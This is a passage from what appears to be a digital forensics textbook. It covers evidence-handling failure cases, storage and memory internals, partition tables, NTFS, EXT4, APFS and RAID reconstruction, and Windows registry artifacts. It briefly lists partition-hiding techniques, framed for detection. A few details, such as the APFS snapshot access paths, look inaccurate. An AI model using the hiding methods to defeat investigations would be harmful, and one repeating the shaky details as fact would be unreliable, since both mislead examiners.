cost of $2.3 million.\n\n**Lesson Learned:** Physical security of evidence storage is non-negotiable. Broken locks must be repaired immediately, and alternative secure storage arranged in the interim.\n\n**Case 2: The Modified Forensic Image (2018)**\n*Location:* European Forensic Lab\n\n**Situation:** An examiner created a forensic image but, due to storage constraints, stored it on a network drive alongside active case files. The image was accidentally mounted and modified during routine system maintenance.\n\n**Result:** Defense produced logs showing the modification. The evidence was excluded. The case collapsed despite overwhelming other evidence.\n\n**Lesson Learned:** Forensic images must be stored on write-once media or secured systems with strict access controls.\n\n**Case 3: The Missing Documentation (2019)**\n*Location:* Private Forensic Firm\n\n**Situation:** During a corporate espionage trial, defense requested chain of custody documentation. The forensic firm had lost their paper logs and the electronic system had been upgraded, overwriting historical data.\n\n**Result:** Judge ruled that without proper documentation, the evidence could not be authenticated. The $50 million lawsuit was dismissed.\n\n**Lesson Learned:** Redundant documentation systems must exist. Paper and electronic logs should be maintained separately.\n\n**Case 4: The Contaminated Evidence (2020)**\n*Location:* International Investigation\n\n**Situation:** A laptop seized in Country A was examined by local police before being sent to Country B for forensic analysis. The initial exam wasn't documented, and no hash values were calculated.\n\n**Result:** Country B's court ruled that they couldn't know if the evidence was authentic, as they couldn't prove what had been done during the initial exam.\n\n**Lesson Learned:** First responders must be trained that ANY examination changes evidence. No examination should occur without proper documentation.\n\n---\n\n## Chapter 2 \u2013 Computer Architecture & Storage Internals\n\n---\n\n### 2.1 CPU Architecture & Registers\n\n#### CPU Basics for Forensic Examiners\n\nUnderstanding CPU architecture is essential for:\n- Memory analysis (process structures, thread contexts)\n- Malware analysis (instruction sets, calling conventions)\n- Live system examination (register values during acquisition)\n- Exploit analysis (buffer overflows, ROP chains)\n\n**CPU Components Relevant to Forensics:**\n\n1. **Control Unit** \u2013 Fetches and decodes instructions\n2. **ALU** \u2013 Performs arithmetic/logical operations\n3. **Registers** \u2013 Fastest memory, holds current instructions/data\n4. **Cache** \u2013 L1/L2/L3, high-speed memory\n5. **Bus Interface** \u2013 Connects to memory and I/O\n\n#### Register Sets\n\nRegisters are the CPU's working memory \u2013 the first place data goes when being processed.\n\n**x86 Architecture (32-bit):**\n\n| Register | Purpose | Forensic Significance |\n|----------|---------|----------------------|\n| EAX | Accumulator | Function return values |\n| EBX | Base | Memory addressing |\n| ECX | Counter | Loop iterations |\n| EDX | Data | I/O operations |\n| ESI | Source Index | String operations |\n| EDI | Destination Index | Memory copying |\n| EBP | Base Pointer | Stack frame base |\n| ESP | Stack Pointer | Top of stack |\n| EIP | Instruction Pointer | Current instruction |\n\n**x86-64 Architecture (64-bit):**\n- Registers extended to 64-bit (RAX, RBX, etc.)\n- Additional registers: R8-R15\n- Larger address space\n\n**Forensic Application Example:**\nWhen performing memory forensics, examining the stack through ESP/RSP reveals:\n- Function call history\n- Local variables\n- Return addresses\n- Exception handlers\n\n#### CPU Modes\n\nModern CPUs operate in different modes that affect forensic access:\n\n1. **Real Mode** \u2013 16-bit, direct hardware access (boot process)\n2. **Protected Mode** \u2013 32-bit, memory protection (Windows)\n3. **Long Mode** \u2013 64-bit, extended features (modern OS)\n4. **System Management Mode** \u2013 Highest privilege, hidden from OS\n\n> **Critical Forensic Fact:** System Management Mode (SMM) operates below the operating system. Malware like \"LoJax\" has been found hiding in SMM, completely invisible to traditional forensics.\n\n---\n\n### 2.2 Memory Hierarchy\n\nUnderstanding memory hierarchy helps forensic examiners:\n- Know where evidence exists at different levels\n- Understand persistence characteristics\n- Identify anti-forensic techniques targeting specific memory\n- Plan acquisition strategies\n\n#### Memory Levels\n\n```\nSpeed \u2191           Cost \u2191\n  |    REGISTERS (CPU)\n  |        \u2193\n  |    L1 CACHE (CPU)\n  |        \u2193\n  |    L2 CACHE (CPU)\n  |        \u2193\n  |    L3 CACHE (CPU)\n  |        \u2193\n  |    RAM (Main Memory)\n  |        \u2193\n  |    SSD/HDD (Storage)\n  \u2193        \u2193\nSize \u2191     Cost \u2193\n```\n\n**Level 1: CPU Registers**\n- Size: Bytes to kilobytes\n- Speed: < 1 ns access\n- Persistence: Volatile (lost on power off)\n- Forensic Access: Only via live debugging\n\n**Level 2: CPU Cache (L1/L2/L3)**\n- Size: Kilobytes to megabytes\n- Speed: 1-10 ns access\n- Persistence: Volatile\n- Forensic Access: Generally inaccessible\n\n**Level 3: RAM (Main Memory)**\n- Size: Gigabytes to terabytes\n- Speed: 50-100 ns access\n- Persistence: Volatile (seconds after power loss)\n- Forensic Access: Memory acquisition tools\n\n**Level 4: Persistent Storage**\n- Size: Gigabytes to petabytes\n- Speed: Milliseconds to seconds\n- Persistence: Non-volatile\n- Forensic Access: Imaging tools\n\n#### RAM Persistence Characteristics\n\n**Cold Boot Attacks:** RAM retains data for seconds to minutes after power loss, depending on temperature.\n\n| Temperature | Data Retention |\n|-------------|----------------|\n| Room temp (20\u00b0C) | 2-3 seconds |\n| Cooled (-50\u00b0C) | Several minutes |\n| Liquid Nitrogen (-196\u00b0C) | Hours |\n\n**Forensic Application:** In 2008, researchers demonstrated cold boot attacks could recover encryption keys from RAM by physically cooling memory modules and transferring them to another system for analysis.\n\n---\n\n### 2.3 Storage Media Types\n\n#### HDD Magnetic Structure\n\nHard disk drives store data magnetically on rotating platters. Understanding their structure helps in:\n- Physical recovery of damaged drives\n- Understanding data remanence\n- Identifying anti-forensic techniques\n\n**HDD Components:**\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502    Platters (magnetic)   \u2502\n\u2502    Spindle (rotates)     \u2502\n\u2502    Read/Write Heads      \u2502\n\u2502    Actuator (moves heads)\u2502\n\u2502    Controller Board      \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n**Data Organization:**\n- **Track** \u2013 Concentric circle of data\n- **Sector** \u2013 Smallest addressable unit (typically 512 bytes or 4K)\n- **Cluster** \u2013 Group of sectors (file system allocation unit)\n- **Cylinder** \u2013 Same track across all platters\n\n**Magnetic Remanence:**\nWhen data is \"overwritten\" on HDDs:\n- Single overwrite may leave residual magnetism\n- Government standards require multiple passes for sanitization\n- Advanced recovery techniques can read previous data\n\n**Gutmann Method:** 35-pass overwrite sequence designed to defeat magnetic force microscopy recovery.\n\n#### SSD NAND Flash Structure\n\nSolid State Drives use NAND flash memory, fundamentally different from HDDs in operation and forensic implications.\n\n**NAND Flash Types:**\n| Type | Bits/Cell | Endurance | Speed | Forensic Challenge |\n|------|-----------|-----------|-------|---------------------|\n| SLC | 1 | High (100k writes) | Fast | Least complex |\n| MLC | 2 | Medium (10k writes) | Moderate | Page mapping complex |\n| TLC | 3 | Low (3k writes) | Slow | Wear leveling aggressive |\n| QLC | 4 | Very Low (1k writes) | Slowest | Maximum complexity |\n\n**SSD Components:**\n- **Controller** \u2013 Manages all operations\n- **DRAM Cache** \u2013 Temporary storage\n- **NAND Chips** \u2013 Actual storage\n- **Firmware** \u2013 Controller instructions\n\n#### Wear Leveling & Forensic Impact\n\nWear leveling is the SSD's method of distributing writes evenly across all memory cells to extend drive life. This has profound forensic implications.\n\n**How Wear Leveling Works:**\n```\nData Write Request \u2192 Controller maps to physical location\n                           \u2193\nLogical address maps to different physical address\n                           \u2193\nOld physical location marked for garbage collection\n                           \u2193\nOriginal data may remain (until overwritten)\n```\n\n**Forensic Challenges:**\n\n1. **Data Relocation:**\n   - File system thinks data is in one place\n   - Controller moves it to another\n   - Traditional file system forensics may miss data\n\n2. **TRIM Command:**\n   - OS tells SSD which blocks are unused\n   - SSD immediately erases or marks for garbage collection\n   - Deleted files may be unrecoverable within seconds\n\n   ```\n   Traditional HDD: Delete file \u2192 Data remains until overwritten\n   Modern SSD with TRIM: Delete file \u2192 Data erased immediately\n   ```\n\n3. **Garbage Collection:**\n   - SSD reorganizes data in background\n   - Can destroy evidence even without TRIM\n   - Timing unpredictable\n\n4. **Over-Provisioning:**\n   - Extra storage space not visible to OS\n   - May contain historical data\n   - Difficult to access forensically\n\n**Case Example:** In 2015, a suspect's SSD was seized minutes after deleting incriminating files. Traditional recovery tools found nothing \u2013 the TRIM command had already erased the data.\n\n**Forensic Best Practices for SSDs:**\n```\n1. Immediate imaging after seizure\n2. Use hardware write blockers\n3. Consider chip-off for extreme cases\n4. Document drive model and firmware\n5. Research specific controller behavior\n6. Be prepared for incomplete recovery\n```\n\n---\n\n### 2.4 Disk Partitioning Systems\n\n#### MBR Internals\n\nMaster Boot Record is the traditional partitioning scheme, still widely used for compatibility.\n\n**MBR Structure:**\n```\nAddress: 0x0000 - Boot code (446 bytes)\nAddress: 0x01BE - Partition 1 entry (16 bytes)\nAddress: 0x01CE - Partition 2 entry (16 bytes)\nAddress: 0x01DE - Partition 3 entry (16 bytes)\nAddress: 0x01EE - Partition 4 entry (16 bytes)\nAddress: 0x01FE - Boot signature (0x55, 0xAA)\n```\n\n**Partition Entry Format:**\n| Offset | Length | Description |\n|--------|--------|-------------|\n| 0 | 1 | Boot indicator (0x80 = bootable) |\n| 1 | 3 | CHS start address |\n| 4 | 1 | Partition type |\n| 5 | 3 | CHS end address |\n| 8 | 4 | LBA start sector |\n| 12 | 4 | Partition size in sectors |\n\n**Partition Types (Common):**\n- 0x07 \u2013 NTFS (Windows)\n- 0x0B \u2013 FAT32 (CHS)\n- 0x0C \u2013 FAT32 (LBA)\n- 0x83 \u2013 Linux ext2/3/4\n- 0x82 \u2013 Linux swap\n\n**Forensic Significance:**\n- MBR can hide partitions (unused entries)\n- Boot code may contain malware (bootkits)\n- Partition table modifications hide data\n\n#### GPT Internals\n\nGUID Partition Table is the modern standard, part of UEFI firmware.\n\n**GPT Structure:**\n```\nPrimary GPT Header (LBA 1)\n    \u2193\nPartition Entry Array (LBA 2-33)\n    \u2193\nActual Partitions\n    \u2193\nBackup Partition Entry Array\n    \u2193\nBackup GPT Header (Last LBA)\n```\n\n**GPT Header:**\n| Offset | Length | Field |\n|--------|--------|-------|\n| 0 | 8 | Signature (\"EFI PART\") |\n| 8 | 4 | Revision |\n| 12 | 4 | Header size |\n| 16 | 4 | CRC32 of header |\n| 20 | 4 | Reserved |\n| 24 | 8 | Current LBA |\n| 32 | 8 | Backup LBA |\n| 40 | 8 | First usable LBA |\n| 48 | 8 | Last usable LBA |\n| 56 | 16 | Disk GUID |\n| 72 | 8 | Partition entry LBA |\n| 80 | 4 | Number of entries |\n| 84 | 4 | Entry size |\n| 88 | 4 | CRC32 of array |\n\n**Advantages for Forensics:**\n- Redundant headers (primary and backup)\n- CRC32 checksums detect tampering\n- Unique GUIDs identify partitions\n- No 2TB limit\n\n#### Hidden Partitions\n\nBoth MBR and GPT can hide partitions through various techniques:\n\n**MBR Hiding Methods:**\n\n1. **Type Modification:**\n   - Change partition type to unused value (e.g., 0x00)\n   - Partition exists but OS ignores it\n\n2. **Entry Deletion:**\n   - Remove partition entry\n   - Data remains until overwritten\n\n3. **CHS/LBA Mismatch:**\n   - Specify invalid geometry\n   - OS can't access correctly\n\n**GPT Hiding Methods:**\n\n1. **Attribute Flags:**\n   - Set \"hidden\" attribute\n   - OS may honor this flag\n\n2. **Header Corruption:**\n   - Damage primary header\n   - OS uses backup, hidden partition not in backup\n\n3. **GUID Manipulation:**\n   - Change partition type GUID to unused value\n\n**Detection Tools:**\n- **TestDisk** \u2013 Scans for lost partitions\n- **gpart** \u2013 Guesses partition tables\n- **Autopsy** \u2013 Partition recovery module\n- Manual sector examination with hex editor\n\n---\n\n### 2.5 File Systems Deep Analysis\n\n#### FAT32 Structure\n\nFile Allocation Table (FAT) is the simplest file system, but understanding it is fundamental to grasping more complex systems.\n\n**FAT32 Layout:**\n```\nReserved Sectors (including boot sector)\n    \u2193\nFAT1 (Primary File Allocation Table)\n    \u2193\nFAT2 (Mirror of FAT1)\n    \u2193\nRoot Directory (optional in FAT32)\n    \u2193\nData Region (clusters)\n```\n\n**Boot Sector Analysis:**\n| Offset | Length | Field | Example |\n|--------|--------|-------|---------|\n| 0x0B | 2 | Bytes per sector | 512 |\n| 0x0D | 1 | Sectors per cluster | 8 |\n| 0x0E | 2 | Reserved sectors | 32 |\n| 0x10 | 1 | Number of FATs | 2 |\n| 0x20 | 4 | Sectors per FAT | 7800 |\n\n**Directory Entry Structure (32 bytes):**\n| Offset | Length | Description |\n|--------|--------|-------------|\n| 0x00 | 8 | Filename |\n| 0x08 | 3 | Extension |\n| 0x0B | 1 | Attributes |\n| 0x0C | 1 | Reserved |\n| 0x0D | 1 | Creation time (tenths) |\n| 0x0E | 2 | Creation time |\n| 0x10 | 2 | Creation date |\n| 0x12 | 2 | Last access date |\n| 0x14 | 2 | High cluster (FAT32) |\n| 0x16 | 2 | Last modification time |\n| 0x18 | 2 | Last modification date |\n| 0x1A | 2 | Low cluster |\n| 0x1C | 4 | File size |\n\n**FAT32 Forensic Artifacts:**\n- **Deleted files:** First byte of filename set to 0xE5\n- **Long filenames:** Multiple directory entries with attributes 0x0F\n- **Volume label:** Directory entry with attribute 0x08\n\n#### NTFS Deep Internals\n\nNTFS (New Technology File System) is Windows' primary file system, rich with forensic artifacts.\n\n**NTFS Volume Layout:**\n```\nBoot Sector (first 16 sectors)\n    \u2193\nMaster File Table ($MFT)\n    \u2193\nSystem Files (metadata)\n    \u2193\nData Region\n    \u2193\nBackup Boot Sector (last sector)\n```\n\n#### MFT Structure\n\nThe Master File Table is the heart of NTFS \u2013 every file and folder has at least one entry.\n\n**MFT Entry Structure:**\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Header (42 bytes)   \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Attribute 1         \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Attribute 2         \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 ...                 \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Attribute N         \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 End marker (0xFFFFFFFF)\u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n**MFT Header:**\n| Offset | Field | Significance |\n|--------|-------|--------------|\n| 0x00 | \"FILE\" signature | Valid entry (0x454C4946) |\n| 0x04 | Update sequence offset | For fixing |\n| 0x08 | Log file sequence number | Transaction tracking |\n| 0x10 | Sequence number | Increments on reuse |\n| 0x12 | Link count | Hard links count |\n| 0x14 | First attribute offset | |\n| 0x16 | Flags | 0x01=in use, 0x02=directory |\n| 0x18 | Entry size in bytes | |\n| 0x1C | Allocated size | |\n| 0x20 | File reference to base | For extended entries |\n| 0x28 | Next attribute ID | |\n| 0x2C | Record number | |\n\n**Critical NTFS Attributes:**\n\n| Attribute Type | ID | Forensic Value |\n|----------------|-----|----------------|\n| $STANDARD_INFORMATION | 0x10 | MAC times, permissions |\n| $ATTRIBUTE_LIST | 0x20 | For fragmented MFT |\n| $FILE_NAME | 0x30 | Filename, MAC times |\n| $OBJECT_ID | 0x40 | Unique file ID |\n| $SECURITY_DESCRIPTOR | 0x50 | Permissions, ownership |\n| $VOLUME_NAME | 0x60 | Volume label |\n| $VOLUME_INFORMATION | 0x70 | Volume version |\n| $DATA | 0x80 | File content |\n| $INDEX_ROOT | 0x90 | Directory indexing |\n| $INDEX_ALLOCATION | 0xA0 | Large directory index |\n| $BITMAP | 0xB0 | Cluster allocation |\n| $REPARSE_POINT | 0xC0 | Symbolic links |\n\n**Forensic Gold in MFT:**\n- **$STANDARD_INFORMATION vs $FILE_NAME times:**\n  - Malware often modifies $SI but misses $FN\n  - Comparison reveals timestomping\n\n- **Slack space:**\n  - MFT entries are fixed size (usually 1024 bytes)\n  - Unused space may contain previous file data\n\n- **Resident vs Non-Resident:**\n  - Small files stored entirely in MFT\n  - Extremely difficult to delete\n\n#### $LogFile Analysis\n\nThe NTFS Log File tracks metadata changes for recovery purposes \u2013 a forensic goldmine.\n\n**$LogFile Structure:**\n```\nRestart Area\n    \u2193\nLogging Area (circular buffer)\n    \u2193\n    \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n    \u2502 Log Records  \u2502\n    \u2502              \u2502\n    \u2502 Redo/Undo    \u2502\n    \u2502 Operations   \u2502\n    \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n**Log Record Types:**\n- **Initialize File Record** \u2013 Creating MFT entry\n- **Write Attribute** \u2013 Modifying file metadata\n- **Delete Attribute** \u2013 Removing data\n- **Update Resident Value** \u2013 Changing small files\n- **End of Log Record** \u2013 Transaction complete\n\n**Forensic Applications:**\n```\nExample: Suspect deletes incriminating file\n        \u2193\n$LogFile shows:\n- File record initialization\n- Attribute writes\n- Deletion operations\n- Timestamps of all actions\n```\n\n**Recovering Deleted Files from $LogFile:**\nEven when files are deleted and MFT entries reused, $LogFile may retain:\n- Original filenames\n- Timestamps before tampering\n- Cluster allocations\n- File attributes\n\n#### $UsnJrnl (Update Sequence Number Journal)\n\nThe USN Journal records all changes to files on an NTFS volume \u2013 like a surveillance camera for file activity.\n\n**USN Record Structure:**\n| Field | Size | Description |\n|-------|------|-------------|\n| Record length | 4 | Size of this record |\n| Major version | 2 | USN version |\n| Minor version | 2 | Minor version |\n| File reference | 8 | MFT reference |\n| Parent reference | 8 | Parent directory |\n| USN | 8 | Update sequence number |\n| Timestamp | 8 | File time (Windows format) |\n| Reason | 4 | Change reason flags |\n| Source info | 4 | Source of change |\n| Security ID | 4 | Security identifier |\n| File attributes | 4 | File attributes |\n| Filename length | 2 | Length of filename |\n| Filename offset | 2 | Offset to filename |\n| Filename | Variable | Unicode filename |\n\n**Reason Flags (Partial):**\n- 0x00000001 \u2013 DATA_OVERWRITE\n- 0x00000002 \u2013 DATA_EXTEND\n- 0x00000004 \u2013 DATA_TRUNCATION\n- 0x00000100 \u2013 FILE_CREATE\n- 0x00000200 \u2013 FILE_DELETE\n- 0x00010000 \u2013 CLOSE\n- 0x80000000 \u2013 RENAME_NEW_NAME\n\n**Forensic Power of $UsnJrnl:**\n```\nTimeline of EVERY file operation:\n12:01:23 \u2013 secret.doc CREATED\n12:02:45 \u2013 secret.doc DATA_OVERWRITE\n12:03:12 \u2013 secret.doc RENAME (to \"innocent.txt\")\n12:04:30 \u2013 innocent.txt CLOSE\n12:05:17 \u2013 innocent.txt DELETE\n```\n\n**Even after deletion and MFT reuse, the USN Journal shows:**\n- Original filename\n- Exact time of creation\n- Rename operations\n- Deletion timestamp\n\n#### EXT4 Journal System\n\nLinux's EXT4 file system includes journaling capabilities similar to NTFS, with distinct forensic artifacts.\n\n**EXT4 Layout:**\n```\nBoot Block (optional)\n    \u2193\nBlock Group 0\n    \u2193\nBlock Group 1\n    \u2193\n... (more groups)\n```\n\n**Each Block Group Contains:**\n- Superblock copy\n- Group descriptors\n- Data block bitmap\n- Inode bitmap\n- Inode table\n- Data blocks\n\n**Journal (JBD2):**\nThe journal is actually a separate file (.journal) containing transaction records.\n\n**Journal Record Types:**\n- **Descriptor block** \u2013 Describes following data blocks\n- **Commit block** \u2013 Transaction committed\n- **Revoke block** \u2013 Blocks to ignore on replay\n- **Data block** \u2013 Actual metadata/data\n\n**Forensic Recovery from Journal:**\n```\nDeleted file originally in inode 12345\n        \u2193\nJournal may contain:\n- Inode 12345 data before deletion\n- Directory entry modifications\n- Block allocation changes\n```\n\n#### APFS Snapshots\n\nApple File System (APFS) introduces snapshot capabilities with forensic implications.\n\n**How APFS Snapshots Work:**\n```\nInitial State: File A, File B\n        \u2193\nTake Snapshot 1\n        \u2193\nModify File A\n        \u2193\nTake Snapshot 2\n        \u2193\nDelete File B\n        \u2193\nTake Snapshot 3\n```\n\n**Space Sharing:**\nSnapshots use copy-on-write \u2013 modified blocks are written to new locations while original blocks remain referenced by snapshots.\n\n**Forensic Access:**\nEven when a user deletes files, snapshots may retain:\n- Original file versions\n- Deleted files\n- Historical directory structures\n- Previous metadata\n\n**Accessing Snapshots:**\n- **/Volumes** \u2013 Mounted snapshots appear here\n- **.HFS+ Private Directory Data** \u2013 Hidden directory\n- **tmutil** \u2013 Time Machine utility\n- **fs_snapshot** \u2013 APFS snapshot commands\n\n---\n\n### 2.6 RAID Forensics\n\n#### RAID Concepts for Examiners\n\nRAID (Redundant Array of Independent Disks) combines multiple drives into one logical unit, creating forensic challenges.\n\n**Common RAID Levels:**\n\n| Level | Description | Min Drives | Forensic Challenge |\n|-------|-------------|------------|---------------------|\n| RAID 0 | Striping | 2 | Data striped across drives |\n| RAID 1 | Mirroring | 2 | Duplicate data |\n| RAID 5 | Striping + Parity | 3 | Parity distributed |\n| RAID 6 | Striping + Double Parity | 4 | More fault tolerant |\n| RAID 10 | Mirror of Stripes | 4 | Combined approach |\n\n#### RAID 0 Reconstruction\n\nRAID 0 spreads data across drives in stripes \u2013 losing one drive loses everything, but forensically we must reconstruct the logical volume.\n\n**RAID 0 Parameters Needed:**\n- Stripe size (chunk size)\n- Drive order\n- Number of drives\n- Start offset\n\n**Example Configuration:**\n```\nDrive 1: Block 0, Block 3, Block 6, Block 9...\nDrive 2: Block 1, Block 4, Block 7, Block 10...\nDrive 3: Block 2, Block 5, Block 8, Block 11...\n\nStripe size: 64KB\n```\n\n**Reconstruction Process:**\n```\n1. Acquire all drives individually (images)\n2. Determine stripe size (often 64KB, 128KB, 256KB)\n3. Identify drive order (may require analysis)\n4. Calculate logical block mapping\n5. Reassemble using RAID reconstruction tool\n6. Verify file system consistency\n```\n\n#### RAID 5 Reconstruction\n\nRAID 5 adds parity, making reconstruction more complex but providing redundancy.\n\n**Parity Calculation:**\n```\nData Drive 1: A\nData Drive 2: B\nParity Drive: XOR(A,B)\n\nXOR truth table:\n0 XOR 0 = 0\n0 XOR 1 = 1\n1 XOR 0 = 1\n1 XOR 1 = 0\n```\n\n**Parity Rotation:**\nMost RAID 5 implementations rotate parity across drives:\n```\nStripe 0: Parity on Drive 1\nStripe 1: Parity on Drive 2\nStripe 2: Parity on Drive 3\nStripe 3: Parity on Drive 1 (repeat)\n```\n\n**Reconstruction with Missing Drive:**\nIf one drive fails, data can be reconstructed using:\n```\nData = Parity XOR remaining data\n\nExample: Drive 2 failed\nNeed block from Drive 2\nAvailable: Drive 1, Drive 3, Parity\nRecover = Drive1 XOR Drive3 XOR Parity\n```\n\n#### RAID 6 Reconstruction\n\nRAID 6 uses two parity blocks per stripe, allowing two drive failures.\n\n**Parity Types:**\n- **P Parity:** XOR of data (like RAID 5)\n- **Q Parity:** Reed-Solomon or Galois field calculation\n\n**Reconstruction Complexity:**\nRequires understanding of:\n- Galois field arithmetic\n- Reed-Solomon codes\n- Specific RAID implementation\n\n#### Data Carving from RAID\n\nWhen RAID reconstruction is impossible, data carving may recover files.\n\n**Challenges in RAID Carving:**\n\n1. **Striping:**\n   - File fragments distributed across drives\n   - Carving must account for stripe boundaries\n\n2. **Parity Interleaving:**\n   - Parity blocks interspersed with data\n   - Must identify and skip parity\n\n3. **Multiple Drives:**\n   - Need synchronized reading across images\n   - Timing of writes affects fragment locations\n\n**RAID Carving Tools:**\n- **R-Studio** \u2013 RAID reconstruction\n- **UFS Explorer** \u2013 RAID recovery\n- **DMDE** \u2013 RAID assembly\n- **Foremost/ Scalpel** \u2013 Modified for RAID\n\n**Manual Carving Example for JPEG:**\n```\n1. Locate JPEG header (FF D8 FF) in first drive\n2. Determine stripe size from header location\n3. Calculate which drive contains next fragment\n4. Follow fragmentation pattern\n5. Reassemble across drives\n```\n\n---\n\n## Chapter 3 \u2013 Operating System Artifacts\n\n---\n\n### 3.1 Windows Internals\n\n#### Windows Boot Process\n\nUnderstanding boot process helps identify bootkits and timeline system initialization.\n\n**Boot Sequence:**\n```\nPower On \u2192 UEFI/BIOS \u2192 Boot Manager \u2192 OS Loader \u2192 Kernel \u2192 Session Manager \u2192 Logon\n```\n\n**Detailed Steps:**\n\n1. **UEFI/BIOS Phase:**\n   - POST (Power-On Self Test)\n   - Hardware initialization\n   - Boot device selection\n   - UEFI loads bootloader from EFI partition\n\n2. **Windows Boot Manager (bootmgfw.efi):**\n   - Reads BCD (Boot Configuration Data)\n   - Displays boot menu (if configured)\n   - Launches selected OS loader\n\n3. **Windows OS Loader (winload.exe):**\n   - Loads kernel (ntoskrnl.exe)\n   - Loads HAL (hal.dll)\n   - Loads boot drivers\n   - Transitions to kernel mode\n\n4. **Kernel Initialization:**\n   - Creates system processes\n   - Loads remaining drivers\n   - Starts Session Manager (smss.exe)\n\n5. **Session Manager (smss.exe):**\n   - Creates user session\n   - Starts subsystem processes\n   - Launches Winlogon\n\n6. **Winlogon:**\n   - Starts Logon UI\n   - Handles authentication\n   - Launches user shell\n\n**Forensic Artifacts from Boot:**\n- **Event Log 6005/6006:** System start/shutdown\n- **Event Log 6009:** OS version at boot\n- **Event Log 6013:** System uptime\n- **Prefetch files:** Boot prefetch (.pf)\n- **Registry:** Last known good configuration\n\n#### Registry Hive Structure\n\nThe Windows Registry is a hierarchical database of system and application configuration \u2013 a primary source of forensic evidence.\n\n**Registry Hives (Files):**\n| Hive | File Location | Content |\n|------|---------------|---------|\n| HKEY_LOCAL_MACHINE\\SAM | %SystemRoot%\\System32\\config\\SAM | User passwords (hashed) |\n| HKEY_LOCAL_MACHINE\\SECURITY | %SystemRoot%\\System32\\config\\SECURITY | Security policies |\n| HKEY_LOCAL_MACHINE\\SOFTWARE | %SystemRoot%\\System32\\config\\SOFTWARE | System-wide settings |\n| HKEY_LOCAL_MACHINE\\SYSTEM | %SystemRoot%\\System32\\config\\SYSTEM | Hardware configuration |\n| HKEY_CURRENT_USER | %UserProfile%\\NTUSER.DAT | User-specific settings |\n| HKEY_USERS\\.DEFAULT | %SystemRoot%\\System32\\config\\DEFAULT | Default profile |\n\n**Registry Structure:**\n```\nRegistry Hive\n    \u2193\nKey (like folder)\n    \u2193\nSubkeys\n    \u2193\nValues (name/data pairs)\n    \u2193\nData Types:\n- REG_SZ (string)\n- REG_DWORD (32-bit number)\n- REG_BINARY (binary data)\n- REG_MULTI_SZ (multiple strings)\n- REG_EXPAND_SZ (expandable string)\n```\n\n**Forensically Significant Registry Locations:**\n\n1. **System Information:**\n   ```\n   SYSTEM\\CurrentControlSet\\Control\\ComputerName\\ComputerName\n   SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation\n   SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\n   ```\n\n2. **User Activity:**\n   ```\n   Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RecentDocs\n   Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU\n   Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\TypedPaths\n   Software\\Microsoft\\Internet Explorer\\TypedURLs\n   ```\n\n3. **USB Device History:**\n   ```\n   SYSTEM\\CurrentControlSet\\Enum\\USBSTOR\n   SYSTEM\\CurrentControlSet\\Enum\\USB\n   SOFTWARE\\Microsoft\\Windows Portable Devices\\Devices\n   ```\n\n4. **Program Execution:**\n   ```\n   SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\n   SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\n   SYSTEM\\CurrentControlSet\\Services (drivers/services)\n   ```\n\n5. **Network Information:**\n   ```\n   SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\n   SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\n   SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\n   ```\n\n**Registry Transaction Logs:**\n- **.LOG files** \u2013 Transaction logs for registry hives\n- **.BLF files** \u2013 Background logs (Windows 10+)\n- **.REGTRANS-MS** \u2013 Transaction manager logs\n\n> **Forensic Gold:** Registry transaction logs may contain data that was deleted from the main hive but remains in logs.\n\n#### System32 Artifacts\n\nThe System32 directory contains critical Windows system files that leave forensic traces.\n\n**Key Artifacts:**\n\n1. **Event Logs (.evtx):**\n   Location: `%SystemRoot%\\System32\\winevt\\Logs\\`\n\n   Important logs:\n   - Application.evtx\n   - Security.evtx\n   - System.evtx\n   - Setup.evtx\n   - PowerShell.evtx\n\n2. **Prefetch (.pf):**\n   Location: `%SystemRoot%\\Prefetch\\`\n\n   Records recently executed programs:\n   - Creates .pf file per executable\n   - Includes run count\n   - Includes last run time\n   - Lists files accessed\n\n3. **Task Scheduler:**\n   Location: `%SystemRoot%\\System32\\Tasks\\`\n\n   Scheduled tasks:\n   - XML format tasks\n   - Execution times\n   - 